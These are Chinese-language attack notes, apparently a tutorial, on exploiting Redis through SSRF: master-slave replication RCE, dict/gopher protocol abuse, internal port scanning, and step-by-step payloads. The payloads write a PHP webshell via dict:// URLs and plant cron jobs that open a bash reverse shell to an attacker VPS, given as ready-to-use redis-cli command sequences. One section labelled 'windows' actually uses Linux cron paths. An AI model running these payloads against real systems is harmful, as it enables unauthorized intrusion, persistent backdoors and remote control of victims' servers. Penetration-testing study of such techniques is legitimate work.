脏数据
redis:参数数值在数据库保存前,redis会对参数的值进行序列化,
序列化之后就会出现一系列声明的脏数据,而脏数据在构造计划任务时是无法被识别的。
可以通过dump x 命令来查看x参数在数据库中的保存形式,
这些脏数据会影响Redis计划任务的构造识别操作,那么如何写入无损干净不包含脏数据的文件?无损写入脚本。
##RCE:远程命令执行,直接利用漏洞在被攻击的主机上执行命令。
redis主从复制攻击
含义:将一台Redis服务器的数据,复制到其他Redis服务器,前者为主节点,后者为从节点,只能从主节点复制到从节点,且一个主节点可以对应多个从节点,一个从节点只能对应一个主节点,。所以一个从节点也能设置成其他服务器的主节点。
从节点复制主节点使用的命令:slaveof ip port
攻击原理:从节点与主节点的数据是同步的,所以主节点的改变可以影响到从节点。
主从复制的攻击过程:主服务器加载一个恶意文件,从服务器在主从复制时,也会加载该文件,随后攻击者就可以通过函数执行命令。
SSRF主从复制时,我们需要将slaveof命令通过gopher协议发到目标机(从服务器)。
在Windows下如何进行Redis主从复制?
利用手法:加载启动项,写shift后门,写webshell。
利用dict协议拓宽SSRF的攻击面
开启nginx,
在本地开放一个8031端口服务,这个端口正常情况下外网无法访问。
命令如图:
接着我们通过部署有ssrf的靶机,可以访问到6379,8031端口
端口探测
我们不知道内网中开放的端口是多少,此时我们就可以利用burpsuit的intruder模块来扫描,找出开放的端口。
写webshell
dict可以直接带入命令,执行函数
/ssrf.php?url=dict://127.0.0.1:6379/config:set:dir:/www/rootwww/baidu.com
/ssrf.php?url=dict://127.0.0.1:6379/config:set:dbfilename:hackphp
/ssrf.php?url=dict://127.0.0.1:6379/set:x:“<php phpinfo();?>"(如果payload被转义或者过滤情况,可以把<php phpinfo();?>转成16进制)
/ssrf.php?url=dict://127.0.0.1:6379/save
注意:
空格用:替代;
上面的命令与后面的HTTP/1.1之间要有空格。
利用dict写计划任务
一.windows下
config set dir /var/spool/cron
config set dbfilename root
set 1 “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1(VPS的IP地址)/1234 (VPS的端口)0>&1\n\n”
save
二.linux下
echo -e “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1(VPS的IP地址)/1234 0>&1\n\n”|redis-cli -h 192.168.118.129(Linux目标机的IP地址) -x set 1
redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
redis-cli -h 192.168.118.129 config set dbfilename root
redis-cli -h 192.168.118.129 save
可以把目标机的shell反弹到我们的服务器(VPS)上。